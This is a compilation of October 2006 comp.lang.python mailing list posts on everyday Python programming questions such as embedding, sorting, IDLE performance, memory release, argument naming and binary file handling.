From matthew_j_warren at hotmail.com  Fri Oct  6 06:42:31 2006
From: matthew_j_warren at hotmail.com (MatthewWarren)
Date: 6 Oct 2006 03:42:31 -0700
Subject: OT Request
Message-ID: <1160131350.971760.132110@i42g2000cwa.googlegroups.com>

> This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer.
>
> You should not copy the email, use it for any purpose or disclose its contents to any other person.
> Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica.
> It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email.
>

>	Pardon, but is there any possibility you can disable this rather
>long block? I'm presuming you are accessing via the mailing list, but
>hat mailing list is gatewayed to a Usenet news group (and unless you've
>anaged to embed an X-noarchive header in email, Google Groups is going
>o have the message available in perpetuity). There is no single
>intended recipient" -- the messages are being sent to anyone in the
>orld interested in reading comp.lang.python, so all this overhead is
>eaningless.

No problem, and thanks for pointing it out.  It gets silently added on
its way through, and i just hadnt noticed it in my posts.

Posting this time through google groups :)



From fredrik at pythonware.com  Thu Oct  5 05:55:08 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 5 Oct 2006 11:55:08 +0200
Subject: embedding python -- windows specify problems
References: <4524cda2$1@clarion.carno.net.au>
Message-ID: <eg2kpt$o83$1@sea.gmane.org>

John Pye wrote:

> I have been working on some new code that embeds python in an C
> application. The embedding is working fine under Linux but crashing
> under Windows (XP) when I reach the following step.
>
> PyRun_AnyFile(f,name);
>
> If there's some python exception being thrown by the PyRun_AnyFile call,
> how can I retrieve it from C?
>
> Even when the file (f) being run by Python contains only a 'print'
> statement, the application still crashes on WinXP.

the contents and the layout of the FILE structure isn't defined, so PyRun_AnyFile()
only works if you make sure to open the file using *exactly* the same run time library
as Python itself uses.

it's usually easier to hand the problem over to the interpreter:

    PyRun_SimpleString("execfile('myscript.py')\n");

the same approach can be used to implement custom error handling, stdout/stderr
redirects, etc.

</F> 





From rpmuller at gmail.com  Sun Oct 15 12:47:47 2006
From: rpmuller at gmail.com (RickMuller)
Date: 15 Oct 2006 09:47:47 -0700
Subject: paseline(my favorite simple script): does something similar exist?
In-Reply-To: <mailman.405.1160689413.11739.python-list@python.org>
References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>
	<mailman.405.1160689413.11739.python-list@python.org>
Message-ID: <1160930867.264259.172470@h48g2000cwc.googlegroups.com>

Amazing! There were lots of great suggestions to my original post, but
I this is my favorite.

Rick

Fredrik Lundh wrote:
> RickMuller wrote:
>
> > I'm posting this here because (1) I'm feeling smug at what a bright
> > little coder I am
>
> if you want to show off, and use a more pythonic interface, you can do
> it with a lot fewer lines.  here's one example:
>
> def parseline(line, *types):
>      result = [c(x) for (x, c) in zip(line.split(), types) if c] or [None]
>      return len(result) != 1 and result or result[0]
>
> text = "H    0.000   0.000   0.000"
>
> print parseline(text, str, float, float, float)
> print parseline(text, None, float, float, float)
> print parseline(text, None, float)
>
> etc.  and since you know how many items you'll get back from the
> function, you might as well go for the one-liner version, and do
> the unpacking on the way out:
>
> def parseline(line, *types):
>      return [c(x) for (x, c) in zip(line.split(), types) if c] or [None]
>
> text = "H    0.000   0.000   0.000"
>
> [tag, value] = parseline(text, str, float)
> [value] = parseline(text, None, float)
> 
> </F>



From E6754C at motorola.com  Mon Oct 30 01:41:05 2006
From: E6754C at motorola.com (Liu HuaDong-E6754C)
Date: Mon, 30 Oct 2006 14:41:05 +0800
Subject: Is it possible to use python to unit test C++ code?
Message-ID: <3790A97A1A03424A83B9FEE947A4E39AD66CBC@zmy16exm63.ds.mot.com>

 
 
Did any one used python to do C++ unit test?
If u did, could u give some actions how to do unit test by using python.
 
 
e6754c at motorola.com
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From umut.tabak at student.kuleuven.be  Mon Oct 23 09:03:49 2006
From: umut.tabak at student.kuleuven.be (umut.tabak at student.kuleuven.be)
Date: 23 Oct 2006 06:03:49 -0700
Subject: Script to count files in a folder
Message-ID: <1161608629.259769.88490@b28g2000cwb.googlegroups.com>

Dear all,

We have a multi-platform application(Windows-Linux). Linux part of our
application is writing some input and trigger files on the a shared
drive. What I want to do is to be able to count the occurence of these
trigger files.

lets say my file is

file.start

A batch file creates this file and deletes that file in the same loop.
This file is intended to start the reading of an input file. After it
is read batch file deletes this file automatically and on the next loop
it  will be written and deleted again. With this script I have to count
the occurences of the file on this specific folder.

I did not have the time to think on it but maybe you can give me some
ideas on that. And btw, I am not an expert in scirpting. I am trying to
learn Python but this task is a little bit over my head.

Any help or thoughts are appreciated.

With best regards



From http  Mon Oct 16 14:28:07 2006
From: http (Paul Rubin)
Date: 16 Oct 2006 11:28:07 -0700
Subject: Need a strange sort method...
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
Message-ID: <7xk630cdzc.fsf@ruckus.brouhaha.com>

"SpreadTooThin" <bjobrien62 at gmail.com> writes:
> a = [1,2,3,4,5,6,7,8,9,10] #Although not necessarily in order
> 
> def cmp(i,j):  #to be defined in this thread.
> 
> a.sort(cmp)
> 
> print a
> [1,4,7,10,  2,5,8, 3,6,9]

def k(n): return (n-1) % 3, (n-1) // 3
a.sort(key=k)


From skip at pobox.com  Mon Oct 16 12:40:56 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 16 Oct 2006 11:40:56 -0500
Subject: set operations on dictionaries?
In-Reply-To: <20061016150113.49209.qmail@web58106.mail.re3.yahoo.com>
References: <20061016150113.49209.qmail@web58106.mail.re3.yahoo.com>
Message-ID: <17715.46616.488658.874636@montanaro.dyndns.org>


    It should be quite obvious what should happen when the values stored for
    the relevant keys are identical. It is less obvious (and needs some
    though) what should happen when the keys are the same in the two
    operands, but the values are different.

I think you answered you own proposal in the negative.  Precisely because
the result of this example

    {1: 10, 2: 20} | {2: 25, 3:30}

is ill-defined, Python shouldn't implement set operations on dictionaries.

"In the face of ambiguity, refuse the temptation to guess."

Skip


From fredrik at pythonware.com  Tue Oct 17 12:25:05 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 18:25:05 +0200
Subject: stdout not flushed before os.execvp()
In-Reply-To: <4pk88nFjc1puU1@individual.net>
References: <4pk88nFjc1puU1@individual.net>
Message-ID: <eh3051$aof$1@sea.gmane.org>

Thomas Guettler wrote:

> Is this a bug or feature?

feature.  the "exec" system call operates on a lower level than the 
stdio buffering system.

</F>



From MrJean1 at gmail.com  Sun Oct  8 18:15:16 2006
From: MrJean1 at gmail.com (MrJean1)
Date: 8 Oct 2006 15:15:16 -0700
Subject: print time comparison: IDLE versus terminal on ultra 20
In-Reply-To: <1160332865.902895.315470@e3g2000cwe.googlegroups.com>
References: <1160332865.902895.315470@e3g2000cwe.googlegroups.com>
Message-ID: <1160345716.439170.117110@e3g2000cwe.googlegroups.com>

On my Ultra 20 box, the test program takes 0.00039982 secs in a
terminal window and 0.236839 secs in IDLE, i.e. about 600x slower.
This is ActivePython 2.4.3 for Solaris 10 on a 2+ GHz Opteron.

A partial explanation for the difference in run time between terminal
and IDLE is that IDLE uses thru a Tkinter/Tcl/Tk window which
postprocesses the output, like colorizing, etc.

 /Jean Brouwers

PS) On MacOS X 10.3.9 and a 400 MHz G4 the terminal time is 0.172556
secs and IDLE takes between 4.04731 and 4.87804 secs (depending on the
options selected) or 24-28x longer .  This is Python 2.4.3, IDLE 1.1.3
and Tcl/Tk 8.4.13 as distributed with MacOS X.


sam wrote:
> hi all,
>
> i continue to footle around on my spanking new ultra 20 (1.8GHz /
> Opteron Model 144), gradually trying to get to grips with python and
> unix both.
>
> the slow print time in IDLE had already struck me as rather odd.
> running programs with heavy print requirements from the terminal was a
> major discovery though, printing being so fast as to make everything
> appear at once except in the case of literally thousands of items to be
> printed.
>
> test case:
>
> import time
>
> time1 = time.time()
> for i in range(100):
>     print 'go get \'em, son!'
> time2 = time.time()
>
> print time2-time1
>
>
> in IDLE:
> 4.433 seconds
>
> in terminal:
> 0.001 seconds
>
> a difference of between 3 and 4 orders of magnitude is rather striking.
> anyone know what's going on here? is it a python, a unix thing, or
> something else?
> 
> sam



From MrJean1 at gmail.com  Thu Oct  5 06:22:06 2006
From: MrJean1 at gmail.com (MrJean1)
Date: 5 Oct 2006 03:22:06 -0700
Subject: releasing memory to malloc
In-Reply-To: <1159490810.239269.213740@m7g2000cwm.googlegroups.com>
References: <1159317243.803849.161000@i3g2000cwc.googlegroups.com>
	<1159490810.239269.213740@m7g2000cwm.googlegroups.com>
Message-ID: <1160043724.012745.164940@m7g2000cwm.googlegroups.com>

The memory manager in the latest Python release 2.5 does return freed
memory to the underlying system, if possible. For more details, see the
5th bullet on this page

  <http://docs.python.org/whatsnew/ports.html>.

/Jean Brouwers



iker.arizmendi at gmail.com wrote:
> The workaround I went with made use of the shelve module and
> calls to gc.collect() to cap the memory consumed by the Python
> allocator. It was a bit intrusive but it got the job done.
>
> Would a method in the gc module that released memory to malloc
> be something that could get added to Python? Or are there some
> reasons why allowing that would be a bad idea?
>
> Regards,
> Iker
>
> P.S.
> This may be a repeat of an earlier message - it seems that
> google groups may have discarded my earlier post.
>
>
> iker.arizmendi at gmail.com wrote:
> > Is there any way to get Python to release memory back to the
> > C allocator? I'm currently running a script that goes through
> > the following steps:
> >
> > 1) Creates a very large number of Python objects to produce
> > a relatively small data structure that sits in a C extension.
> > The Python objects consume quite a bit of memory.
> >
> > 2) Releases all the Python objects.
> >
> > 3) Invokes a function of said C extension for further
> > processing. This step needs as much memory as possible.
> >
> > I'd like step 2 to return memory to the C allocator so that it
> > is available to the extension in step 3 (which uses malloc).
> > 
> > Regards,
> > Iker Arizmendi



From steve at REMOVE.THIS.cybersource.com.au  Fri Oct  6 21:25:03 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 07 Oct 2006 11:25:03 +1000
Subject: What value should be passed to make a function use the
	default	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>
	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>
	<eg17jd$gsr$1@news.albasani.net>
	<mailman.1295.1159996151.10491.python-list@python.org>
	<slrneic180.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1431.1160125174.10491.python-list@python.org>
	<slrneic807.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1439.1160128583.10491.python-list@python.org>
	<slrneicbd7.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1449.1160131361.10491.python-list@python.org>
Message-ID: <pan.2006.10.07.01.24.49.896107@REMOVE.THIS.cybersource.com.au>

On Fri, 06 Oct 2006 12:42:08 +0200, Fredrik Lundh wrote:

> Antoon Pardon wrote:
> 
>> IMO this is a very natural thought process for a python programmer.
>> So a python programmer seeing the first will tend to expect that
>> last call to work.
> 
> on the other hand, if a Python programmer *writes* some code instead; 
> say, a trivial function like:
> 
> 	def calculate(a, b):
>              # approximate; gonna have to fix this later
>              return a + b * 1.2
> 
> chances are that he did *not* intend this to be called as
> 
>          calculate(a=1, b=2)

Developers enable lots of things that they didn't intend. For example,
that function works perfectly well with complex numbers, regardless of
whether or not the developer who wrote it even knows that complex numbers
exist.

We've recently had rather vigorous argument on this list about an alleged
bug in cgi.escape, and the consensus was that it wasn't a bug, but *even
if it were* it couldn't be changed without making a backwards-incompatible
change, and therefore it wouldn't be changed.

For the developer to change the names of a and b in the above published
code would be a backwards-incompatible change.

Under the currently existing Python (rather than some future, hypothetical
Python, or some Python in an alternative reality) all Python arguments are
keyword arguments, whether the developer intends it or not. (Functions
written in C are different.)

At the very least, since names a and b are now part of his code's
published interface, he is responsible for documenting that they are
subject to change. The argument that we should assume that argument names
are subject to change unless told otherwise gets it backwards -- argument
names are part of the published interface to the code, just like the
function name, and therefore should NOT change without warning, if at all.

Now, since so many programmers seem to ignore best-practices, common
practices and even common sense, perhaps Fredrik's heuristic "don't assume
keyword args are keyword args unless explicitly told" might be good,
defensive programming -- a little like "just because the published
interface says the function returns an integer, don't assume it returns an
integer without checking" might be good, defensive practice too.


> or, for that matter,
> 
>          calculate(b=2, a=1)
> 
> or
> 
>          calculate(1, b=2)
> 
> just because the Python calling machinery currently happens to allow
> that.  And chances are that he did *not* expect to be stuck with those
> argument names for the foreseeable future, just because someone else
> decided to interpret things in the most literal way they possibly could.

There is a convention for marking names as "touch at your own risk". That
convention isn't "everything is touch at your own risk unless told
otherwise". The convention is to use names with a leading underscore.


-- 
Steve.



From scott.daniels at acm.org  Fri Oct  6 13:01:50 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Fri, 06 Oct 2006 10:01:50 -0700
Subject: extract certain values from file with re
In-Reply-To: <1160152678.815604.289070@e3g2000cwe.googlegroups.com>
References: <mailman.1438.1160128294.10491.python-list@python.org>
	<1160152678.815604.289070@e3g2000cwe.googlegroups.com>
Message-ID: <45268400$1@nntp0.pdx.net>

bearophileHUGS at lycos.com wrote:
   <a fine solution component for the second problem>

Use his solution like:
     datafile = open(data_file_name, 'r')
     for line in datafile:
         if 'U-Mom' in line:
             print float(line.split("|")[4])
     datafile.close()

For the earlier problem:

     def data_specific(source):
         global headings   # in case some other bit wants to read them
         saw_top = False
         gen = iter(source)
         for line in gen:
             cut = line.split(None, 1)
             if len(cut) > 1 and (cut[0] == 'ITER'
                      and 'GLOBAL ABSOLUTE RESIDUAL' in cut[1]):
             break
         else:
             return
         headings = gen.next().split()  # column headings
         starts = range(11, 74, 9) + range(75, 138, 9)  # for fixed-width
         for line in gen:
             data = line.split()
             if data and data != ['...']:  # suppress blank lines
                 if data[0] == '&&&&&&':  # found the terminator
                     break
                 assert line[10] == ' ' and line[74] == ' '
                 yield [int(line[:10])] + [
                        float(line[n : n+9]) for n in starts]

     datafile = open(data_file_name, 'r')
     for row in data_specific(datafile):
         print row  # or row[headings.index('MASS')] or whatever
     datafile.close()

The general theme here is: don't use re unless it is a good solution.
sometimes you know which columns things are in, sometimes you know a
separator, sometimes there is a mix, and sometimes you do need a regular
expression.  Save re for when you need to do pattern matching.

--Scott David Daniels
scott.daniels at acm.org


From eldiener_no_spam_here at earthlink.net  Mon Oct  9 15:49:25 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Mon, 09 Oct 2006 19:49:25 GMT
Subject: Python component model
In-Reply-To: <mailman.132.1160421742.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.132.1160421742.11739.python-list@python.org>
Message-ID: <9JxWg.5046$Lv3.2717@newsread1.news.pas.earthlink.net>

Echo wrote:
> On 10/9/06, Edward Diener No Spam <eldiener_no_spam_here at earthlink.net> 
> wrote:
>> The definition of a component model I use below is a class which allows
>> properties, methods, and events in a structured way which can be
>> recognized, usually through some form of introspection outside of that
>> class. This structured way allows visual tools to host components, and
>> allows programmers to build applications and libraries visually in a RAD
>> environment.
>>
>> The Java language has JavaBeans as its component model which allows Java
>> applications to be built in a visual RAD way. Microsoft's .Net has a
>> component model built-in to its .Net class libraries as well as
>> supported by CLR which allows .Net applications to be built visually
>> using components created in any .Net supported language.
>>
>> With Python things are different. There is no single component model
>> which allows Python developers to build components which will be used
>> and recognized by the various RAD Python tools on the market. Instead a
>> developer must create a slightly different set of Python classes for
>> each RAD Python tool. This is the situation despite Python's having
>> easily as much functionality, if not much more, as Java or .Net
>> languages such as C#, VB, or C++/CLI for creating components, and for
>> allowing visual tools to introspect the properties, methods, and events
>> of Python classes.
>>
>> I believe that Python should have a common components model for all RAD
>> development environments, as that would allow the Python programmer to
>> create a set of classes representing components which would work in any
>> environment. I want to immediately point out that components do not
>> simply mean visual GUI components but what may be even more important,
>> non-visual components. Having used RAD development environments to
>> create applications, I have found such environments almost always much
>> better than coding complex interactions manually, and I believe that
>> visual development environments are almost a necessity in today's world
>> of large-scale, multi-tier, and enterprise applications.
>>
>> Has there ever been, or is there presently anybody, in the Python
>> developer community who sees the same need and is working toward that
>> goal of a common component model in Python, blessed and encouraged by
>> those who maintain the Python language and standard modules themselves ?
>> -- 
>> http://mail.python.org/mailman/listinfo/python-list
>>
> 
> 
> If you are talking about about creating a GUI and having be able to
> run using different GUI libraries like Tkinter, wxPython, wxgtk, ect.
> You could look into Dabo(http://dabodev.com/). It is designed so that
> you can design your GUI and have it run with what ever GUI library you
> want(only wxPython is supported at the moment. And I think that
> Tkinter works somewhat.)

It's not just for GUI controls that a component model exists in the 
other environments I mentioned. Non-GUI components are intrinsically as 
important, if not more so, to a component model architecture. Also, 
quite honestly, I think a component model would have to be specified by 
the core Python developers instead of retrofitted against the popular 
GUI environments for Python which currently exist. Also I admit I am no 
fan of wx-you-name-it, whose "event" model especially I find way too 
limiting and ineffective in relation to the entire area of 
component-based programming and events.


From george.sakkis at gmail.com  Mon Oct 23 17:05:17 2006
From: george.sakkis at gmail.com (George Sakkis)
Date: 23 Oct 2006 14:05:17 -0700
Subject: Looking for a Python-on-Windows person to help with SpamBayes
References: <mailman.994.1161625959.11739.python-list@python.org>
Message-ID: <1161637517.097585.325860@k70g2000cwa.googlegroups.com>

skip at pobox.com wrote:

> The bare requirements are:
>
>     * Able to program in Python on Windows (that is, remove my Unix-think
>       from the OCR bits of code)
>
>     * Use Outlook to read mail (so you can test the changes with the
>       SpamBayes Outlook plugin)

Does "remove my unix-think" mean replacing it with equivalent
Windows-think  (e.g through Win32all, Win32 API, COM) or it can be done
in platform-independent way ? In the second case I might be able to
help as I'm using SpamBayes with Outlook at work, but I don't do
windows-specific programming. 

George



From Luwian at gmail.com  Sun Oct 22 12:29:33 2006
From: Luwian at gmail.com (Lucas)
Date: 22 Oct 2006 09:29:33 -0700
Subject: How to print a file in binary mode
In-Reply-To: <1161533394.483372.140500@m7g2000cwm.googlegroups.com>
References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com>
	<pan.2006.10.22.13.06.08.86072@gmx.net>
	<1161524030.833422.216370@k70g2000cwa.googlegroups.com>
	<mailman.940.1161528936.11739.python-list@python.org>
	<1161533394.483372.140500@m7g2000cwm.googlegroups.com>
Message-ID: <1161534573.273402.148740@k70g2000cwa.googlegroups.com>

I am sorry my english is not good!

strList = ['1010010100','11101000100']

fileWrite = open('a.jpg','ab')
for item in strList:
       fileWrite.write(item)
fileWrite.close()
# I don't know whether or not I succeed

fileRead = open('a.jpg','rb')
b = fileRead.read()
fileRead.close()
print b
#it is wrong
# How can I display a.jpg's binary code?

Lucas wrote:
> well,  if I just open the file in binary mode, and write a string,e.g
> '660', how do i read the result? I means I need print the binary in
> screen.
>
> do these?
>
> fileWrite = open('a.jpg',''ab')
> fileWrite.write('660')
> fileWrite.close()
>
> fileRead = open('a.jpg','rb')
> b = fileRead.read()
> fileRead.close()
> print b
>
> ???????
>
> Thanks again
>
> Fredrik Lundh wrote:
> > Lucas wrote:
> >
> > > I do it because I want to encrypt a string into a picture using RSA
> > > algorithm.
> >
> > what does "into" mean?  are you supposed to encrypt the binary data
> > representing the JPEG image, or embed a message into the actual image?
> >
> >  > so I first convert the string to binary,and then saving the binary
> >  > into picture
> >
> > you seem to have a rather fuzzy understanding of the words "string" and
> > "binary" here.  if you read from a file that's opened in binary mode,
> > you get an 8-bit string that contains the binary data.  there's no need
> > for any conversion here; just use the data you got from "read".
> >
> >  > finally, print the picture by binary!
> >
> > do you mean "save the picture to a binary file", or something else?
> > 
> > </F>



From fredrik at pythonware.com  Tue Oct 17 10:05:43 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 16:05:43 +0200
Subject: Tertiary Operation
References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
	<4534DF4A.2030007@tim.thechases.com>
Message-ID: <eh2nvn$46b$1@sea.gmane.org>

Tim Chase wrote:

> {True: "", False: str(x)}[x is None]

first the localtime/mktime roundtrip with a simulated cast, and now this?  in less
than one hour?  solar flares?

</F> 





From scott.daniels at acm.org  Thu Oct 12 16:29:56 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Thu, 12 Oct 2006 13:29:56 -0700
Subject: IDLE won't run
In-Reply-To: <Xns985A7B3E3BE3ECloverdale123@199.185.223.78>
References: <Xns985A7B3E3BE3ECloverdale123@199.185.223.78>
Message-ID: <452e9d99@nntp0.pdx.net>

Rob wrote:
> I have Python 2.4.3 installed on Windows XP on both a real computer and a 
> virtual machine under VMware. Just recently, IDLE stopped working. I would 
> select IDLE from the start menu or right click on a .PY file and open it in 
> IDLE, but nothing happens. I just uninstalled Python on the virtual machine 
> and installed 2.5 in the hope that that would fix the problem, but it 
> didn't. It, too, would do nothing when I tried to run IDLE. In both cases, 
> the Python command line window will come up, but that's not what I want to 
> use.
> 
> Does anyone know of a way to fix this problem? Is there a new Windows 
> update that is now interfering with IDLE? Would Norton Antivirus be 
> interfering with it somehow? (It's running in both environments.)
Likely something turned on firewall behavior.
You can check out this theory:

     On your background, right-click
       and "New Shortcut" then browse to "C:\Python25\pythonw.exe"
                       (or wherever your Python is).
     When that shortcut has been made, right-click it, and change
     The "target" from:
          "C:\Python25\pythonw.exe"
     to:
          "C:\Python25\pythonw.exe -m idlelib.idle -n"

If this shortcut works to give you Idle, the problem is in creating
a separate process linked via a socket to "localhost" port 8833.

--Scott David Daniels
scott.daniels at acm.org


From Leo.Kislov at gmail.com  Thu Oct 19 07:21:55 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 19 Oct 2006 04:21:55 -0700
Subject: Type discrepancy using struct.unpack
References: <1161255700.665211.145360@i42g2000cwa.googlegroups.com>
Message-ID: <1161256915.902138.156710@k70g2000cwa.googlegroups.com>


Pieter Rautenbach wrote:
> Hallo,
>
> I have a 64 bit server with CentOS 4.3 installed, running Python.
>
> [pymsnt at lutetium pymsnt-0.11.2]$ uname -a
> Linux lutetium.mxit.co.za 2.6.9-34.ELsmp #1 SMP Thu Mar 9 06:23:23 GMT
> 2006 x86_64 x86_64 x86_64 GNU/Linux
>
> Consider the following two snippets, issuing a struct.unpack(...) using
> Python 2.3.4 and Python 2.5 respectively.
>
> [pymsnt at lutetium pymsnt-0.11.2]$ python
> Python 2.5 (r25:51908, Oct 17 2006, 10:34:59)
> [GCC 3.4.5 20051201 (Red Hat 3.4.5-2)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> >>> import struct
> >>> print type(struct.unpack(">L", "xxxx")[0])
> <type 'int'>
> >>>
>
> [pymsnt at lutetium pymsnt-0.11.2]$ /usr/bin/python2.3
> Python 2.3.4 (#1, Feb 17 2005, 21:01:10)
> [GCC 3.4.3 20041212 (Red Hat 3.4.3-9.EL4)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> >>> import struct
> >>> print type(struct.unpack(">L", "xxxx")[0])
> <type 'long'>
> >>>
>
> I would expect <type 'long'> in both cases. Why is this not so?

http://mail.python.org/pipermail/python-dev/2006-May/065199.html

  -- Leo.



From duncan.booth at invalid.invalid  Mon Oct  2 07:47:19 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 2 Oct 2006 11:47:19 GMT
Subject: __init__ style questions
References: <1159785721.004647.51490@c28g2000cwb.googlegroups.com>
	<Xns98507A4715288duncanbooth@127.0.0.1>
	<1159788068.306378.253270@m7g2000cwm.googlegroups.com>
Message-ID: <Xns9850821A6EE4Cduncanbooth@127.0.0.1>

"Will McGugan" <will at willmcgugan.com> wrote:

> Duncan Booth wrote:
> 
>> No it isn't Pythonic. Why not just require 3 values and move the
>> responsibility onto the caller to pass them correctly? They can still
>> use an iterator if they want:
>>
>>     Vector3D(a, b, c)
>>     Vector3D(*some_iter)
> 
> I kind of liked the ability to partially use iterators. It would be
> convenient for reading in from a file for example
> 
> f = file( "model.txt" )
> v1 = Vector3D( f )
> v2 = Vector3D( f )
> v3 = Vector3D( f )
> 
> Which you couldnt do with a tuple, because the * syntac would attempt
> to read the entire file (I think).

Yes, it would, although since the implication is that your class expected 
numbers and the file iterator returns strings I'm not sure how much it 
matters: you are still going to have to write more code than in your 
example above. e.g.

   v1 = Vector3D(float(n) for n in itertools.islice(f, 3))

or with my variant:

   v1 = Vector3D(*(float(n) for n in itertools.islice(f, 3)))


I think my main objection to your code was that it introduced too many ways 
for the constructor to do unexpected things silently. e.g. your suggestion 
Vector3D("abc"), or Vector3D((1,2,3,4)) and I don't like errors going 
uncaught. That's why I think it is better to pass in exactly the arguments 
you need and convert them at the point where you can tell what the ambigous 
construction actually meant. I have no objection though to e.g. a class 
factory method which does all of this:

@classmethod
def fromStringSequence(cls, iter):
    return cls(*(float(n) for n in itertools.islice(iter, 3)))

because that still makes you decide at the point of call whether you want:

   v1 = Vector3D(1, 2, 3)

or
   v1 = Vector3D.fromStringSequence(f)


From bignose+hates-spam at benfinney.id.au  Sun Oct  1 06:20:57 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sun, 01 Oct 2006 20:20:57 +1000
Subject: why logging re-raise my exception and can't be caught?
References: <1159601583.256548.193730@b28g2000cwb.googlegroups.com>
	<87ac4hkd8w.fsf@benfinney.id.au> <efl97u$jgg$1@sea.gmane.org>
Message-ID: <8764f4jq0m.fsf@benfinney.id.au>

Steve Holden <steve at holdenweb.com> writes:

> Ben Finney wrote:
> [...]
> > A 'try ... except' statement is not an exception handler. [...]
>
> Just as a matter of interest, what would your definition of an
> exception handler be, then? Specifically, what's the "except" clause
> for?

It seems my understanding was wrong. The 'except' clause *is* an
exception handler. (I was thinking that the "default exception
handler" was the only thing that could be called an "exception
handler".) It's explained better here:

    <URL:http://docs.python.org/ref/try.html>

> The docs for looging.except should make it explicit that the
> exception will be re-raised.

Yes, I agree; it wasn't very clear on reading the description of
'logging.exception()' what would actually happen.

> Of course it might be possible to do something hackish like
>
>      try:
>          ...
>      except:
>          try:
>              logging.exception(...)
>          except:
>              pass
>
> which (although untested) should theoretically allow the catching
> (for a second time) of teh exception reraised by
> logging.exception().

It does seem rather a side effect, and an unexpected (and
undocumented) one at that.

-- 
 \        "If it ain't bust don't fix it is a very sound principle and |
  `\      remains so despite the fact that I have slavishly ignored it |
_o__)                                  all my life."  -- Douglas Adams |
Ben Finney



From http  Tue Oct 10 07:32:12 2006
From: http (Paul Rubin)
Date: 10 Oct 2006 04:32:12 -0700
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<452820C1.5020607@tim.thechases.com> <egakob$76a$2@sea.gmane.org>
	<20061010114945.GA4478@dagan.sigpipe.cz>
	<mailman.201.1160476378.11739.python-list@python.org>
	<7xslhwh2fz.fsf@ruckus.brouhaha.com>
	<slrneimvn3.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <7xejtgmmo3.fsf@ruckus.brouhaha.com>

Antoon Pardon <apardon at forel.vub.ac.be> writes:
> >>> for x in takewhile(foo() for _ in repeat(None)):
> ...   print x
> ... 
> Traceback (most recent call last):
>  File "<stdin>", line 1, in ?
> TypeError: takewhile expected 2 arguments, got 1

Yeah, I cancelled and posted a followup 

 for x in takewhile(bool, foo() for _ in repeat(None)):
    print x

but I haven't tested either way.


From rtilley at vt.edu  Thu Oct 19 12:38:55 2006
From: rtilley at vt.edu (Brad)
Date: Thu, 19 Oct 2006 12:38:55 -0400
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <7iNZg.117$1n3.3352@news.tufts.edu>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
Message-ID: <eh89n4$r5q$1@solaris.cc.vt.edu>

John Salerno wrote:
> rick wrote:
>> Why can't Python have a reverse() function/method like Ruby?
> 
> I'm not steeped enough in daily programming to argue that it isn't 
> necessary, but my question is why do you need to reverse strings? Is it 
> something that happens often enough to warrant a method for it?

I'm home for lunch so my email addy is different.

No, it doesn't happen very often, but when I need to reverse something 
(usually a list or a string). I can never remember right of the top of 
my head how to do so in Python. I always have to Google for an answer or 
refer back to old code.

IMO, I should be able to intuitively know how to do this. Python is so 
user-friendly most every place else... why can it not be so here?

I wrote this so I'll never have to remember this again:

def invert(invertable_object):
     try:
         print invertable_object[::-1]
         return invertable_object[::-1]
     except:
         print 'Object not invertable'
         return 1

invert([1,2,3,4])
invert('string')
invert({1:2, 3:4})






From tjreedy at udel.edu  Mon Oct  2 21:06:46 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 2 Oct 2006 21:06:46 -0400
Subject: License / Registration key enabled software
References: <1158951061.539594.164040@i3g2000cwc.googlegroups.com><pan.2006.09.27.16.51.12.529785@vfx.org.uk><mailman.847.1159402807.10491.python-list@python.org><pan.2006.09.28.12.49.40.745821@vfx.org.uk><slrnehnqv2.ann.sybrenUSE@schuimige.stuvel.eu><mailman.892.1159459686.10491.python-list@python.org><slrnehnuut.bmu.sybrenUSE@schuimige.stuvel.eu><pan.2006.09.28.23.45.23.622848@vfx.org.uk>
	<1159823579.917789.121910@c28g2000cwb.googlegroups.com>
Message-ID: <efsd36$s97$1@sea.gmane.org>


"T" <ty.2006 at yahoo.com> wrote in message 
news:1159823579.917789.121910 at c28g2000cwb.googlegroups.com...
> Oh man.  This is going way off topic!!!
>
> I just wanted to know how license / registration key can be implemented
> in python.  I was not interested in philosophical discussion of why /
> why not one should implement it, whether that business model make
> sense, instead using smartcards, etc. etc.
>
> I would like to satisfy technical / intellectual curiosity of how it is
> done in python -- so how about returning to the original topic of "How
> can license / registration key be implemented in python?"

I think the question is too broad.  I suspect the broad answer "much the 
same way as in any other language, with adjustments made for the 
peculiarities of Python" will not satisfy you, but a more specific answer 
requires a more specific question, such as "How can a read a printer port 
